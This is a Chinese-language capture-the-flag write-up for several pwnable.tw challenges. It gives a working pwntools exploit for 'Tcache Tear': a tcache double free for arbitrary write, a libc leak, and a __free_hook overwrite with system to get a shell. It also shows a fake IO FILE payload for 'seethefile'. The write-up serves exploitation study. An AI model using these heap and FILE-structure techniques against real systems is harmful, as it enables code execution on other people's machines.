0%

pwnable.tw(9-16题)

更新中…

Re-alloc

主要学习realloc函数的使用

利用realloc可以实现malloc,edit和free(uaf)

realloc

1
2
3
4
5
6
realloc(ptr,size)
1.ptr == 0 : malloc(size)
2.ptr != 0 && size == 0 : free(ptr)
3.ptr != 0 && size == old_size : edit(ptr)
4.ptr != 0 && size < old_size : edit(ptr) and free(remainder)
5.ptr != 0 && size > old_size : malloc(size);strcpy(new_ptr,ptr);free(ptr);return new_ptr

16进制字符串转数字

1
int(str_hex,16)

Tcache Tear

libc是2.27的,存在tcache机制。

除了pie,其他保护都开启了

本机环境与给定的libc不同,故需要如下语句:

1
p = process(["./tcache_tear"],env={"LD_PRELOAD":"./tw_libc-2.27.so"})

程序流程

  • 输入bss变量name
  • add一个大小小于0xff的chunk,地址保存在ptr中
  • free(ptr),至多8次【存在uaf】
  • 打印name

利用

任意地址写

1
2
3
4
5
6
7
def aaw(len,addr,data):
malloc(len,'aaaa')
free()
free()
malloc(len,p64(addr))
malloc(len,'aaaa')
malloc(len,data)

利用任意地址写成功修改name

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
p = process(["./tcache_tear"],env={"LD_PRELOAD":"/usr/local/glibc-2.27/lib/libc-2.27.so"})

elf = ELF('/usr/local/glibc-2.27/lib/libc-2.27.so')
context(arch='amd64',os='linux',log_level='debug')

sla = lambda delim,data : p.sendlineafter(delim,data)
cmd = lambda choice : sla("Your choice :",str(choice))
init = lambda name : sla("Name:",name)
malloc = lambda size,data : (cmd(1),sla("Size:",str(size)),sla("Data:",data))
free = lambda : cmd(2)
info = lambda : cmd(3)

def aaw(len,addr,data):
malloc(len,'aaaa')
free()
free()
malloc(len,p64(addr))
malloc(len,'aaaa')
malloc(len,data)

init("winter")
info()
name_bss = 0x602060
aaw(0x20,name_bss,"admin")
info()
p.recv()

image-20210220184904076

构造unsortedbin

因为要检查释放的chunk和nextchunk的标志位是否为1。【标志位是下一个chunk的大小&1】,所以,我们需要构造chunk+两个绕过检验的chunk

chunk1(0x501)
chunk2(0x21)
chunk3(0x21)

chunk2的1检验chunk1,chunk3的1检验chunk2。

1
2
3
4
5
init(p64(0)+p64(0x501))
aaw(0x50,name_bss+0x500,(p64(0)+p64(0x21)+p64(0)*2)*2)
#0x500=>0x490(chunk size)+0x10(chunk head)
aaw(0x60,name_bss+0x10,'a')#让chunk中有数据,并且,malloc的时候,ptr指向name_bss+0x10
free()#将构造的chunkfree

得到到main_arena,计算libc基址【得到的main_arena-本次libc机制得到偏移】

image-20210220193540189

覆盖free_hook为system

1
2
3
4
5
6
libc_base = main_arena - 0x3EBCA0
system = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']
print("free_hook:"+hex(free_hook))

aaw(0x70,free_hook,p64(system))

最后malloc一个内容为system参数的chunk,free即可getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
p = process(["./tcache_tear"],env={"LD_PRELOAD":"./tw_libc-2.27.so"})
#p=remote("chall.pwnable.tw",10207)
libc = ELF('./tw_libc-2.27.so')
context(arch='amd64',os='linux',log_level='debug')

sla = lambda delim,data : p.sendlineafter(delim,data)
cmd = lambda choice : sla("Your choice :",str(choice))
init = lambda name : sla("Name:",name)
malloc = lambda size,data : (cmd(1),sla("Size:",str(size)),sla("Data:",data))
free = lambda : cmd(2)
info = lambda : cmd(3)

def aaw(len,addr,data):
malloc(len,'aaaa')
free()
free()
malloc(len,p64(addr))
malloc(len,'aaaa')
malloc(len,data)

name_bss = 0x00602060

init(p64(0)+p64(0x501))
aaw(0x50,name_bss+0x500,(p64(0)+p64(0x21)+p64(0)*2)*2)
aaw(0x60,name_bss+0x10,'a')
free()

info()
p.recvuntil("Name :");p.recv(0x10)
main_arena = u64(p.recv(0x8))
gdb.attach(p)

libc_base = main_arena - 0x3EBCA0
system = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']
print("free_hook:"+hex(free_hook))

aaw(0x70,free_hook,p64(system))
malloc(0x40,"/bin/sh\x00")
free()
p.interactive()

参考:和媳妇一起学Pwn 之 Tcache Tear

seethefile

栈溢出+io file的题

image-20210225183413269

输入name的时候没有长度限制,栈溢出,而name下面是fp变量,可以覆盖

泄漏libc

因为可以直接读文件,所以/proc/id(self)/maps可以直接读

伪造IO FILE结构

1
2
3
4
5
6
7
8
9
10
11
fakeFILE = 0x0804B284#伪造的地址
name = 'a'*0x20
name += p32(fakeFILE)#FILE的地址

FILE = p32(0xffffdfff)#绕过验证
FILE += ";/bin/sh"#参数,因为不是地址,故可以前面加;或者||直接填
FILE = FILE.ljust(0x94,'\x00')

name += FILE
name += p32(fakeFILE+0x98)
name += p32(system)*3#vtable是个虚标指针,里面一般性是21or23个变量,我们需要改的是第三个,别的填充些正常的地址就好

flag获取

1
2
cd home
cd seethefile

下面有这些文件

image-20210225185641105

执行get_flag可以获得,查看源码可得需要输入字符串Give me the flag

image-20210225185601647

参考:

Q:如果阅读本文需要付费,你是否愿意为此支付1元?